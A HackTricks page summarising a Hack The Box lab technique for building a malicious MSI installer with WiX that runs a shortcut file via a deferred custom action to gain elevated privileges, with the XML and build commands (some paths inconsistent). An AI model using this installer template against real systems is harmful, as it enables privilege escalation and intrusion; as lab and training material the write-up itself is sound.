mirror of
https://github.com/carlospolop/hacktricks
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100 lines
5.6 KiB
Markdown
100 lines
5.6 KiB
Markdown
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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# Creating Malicious MSI and Getting Root
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The creation of the MSI installer will be done using wixtools, specifically [wixtools](http://wixtoolset.org) will be utilized. It is worth mentioning that alternative MSI builders were attempted, but they were not successful in this particular case.
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For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.
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The aim is to generate an MSI that will execute the lnk file. In order to achieve this, the following XML code could be employed ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
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```markup
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<?xml version="1.0"?>
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<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
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<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
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Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
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<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
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<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
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<Directory Id="TARGETDIR" Name="SourceDir">
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<Directory Id="ProgramFilesFolder">
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<Directory Id="INSTALLLOCATION" Name="Example">
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<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
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</Component>
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</Directory>
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</Directory>
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</Directory>
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<Feature Id="DefaultFeature" Level="1">
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<ComponentRef Id="ApplicationFiles"/>
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</Feature>
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<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
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<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
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Impersonate="yes"/>
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<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
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fail_here
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</CustomAction>
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<InstallExecuteSequence>
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<Custom Action="Stage1" After="InstallInitialize"></Custom>
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<Custom Action="Stage2" Before="InstallFiles"></Custom>
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</InstallExecuteSequence>
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</Product>
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</Wix>
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```
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It is important to note that the Package element contains attributes such as InstallerVersion and Compressed, specifying the version of the installer and indicating whether the package is compressed or not, respectively.
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The creation process involves utilizing candle.exe, a tool from wixtools, to generate a wixobject from msi.xml. The following command should be executed:
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```
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candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
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```
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Additionally, it is worth mentioning that an image is provided in the post, which depicts the command and its output. You can refer to it for visual guidance.
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Furthermore, light.exe, another tool from wixtools, will be employed to create the MSI file from the wixobject. The command to be executed is as follows:
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```
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light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
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```
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Similar to the previous command, an image is included in the post illustrating the command and its output.
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Please note that while this summary aims to provide valuable information, it is recommended to refer to the original post for more comprehensive details and accurate instructions.
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## References
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* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
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* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
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[wixtools](http://wixtoolset.org)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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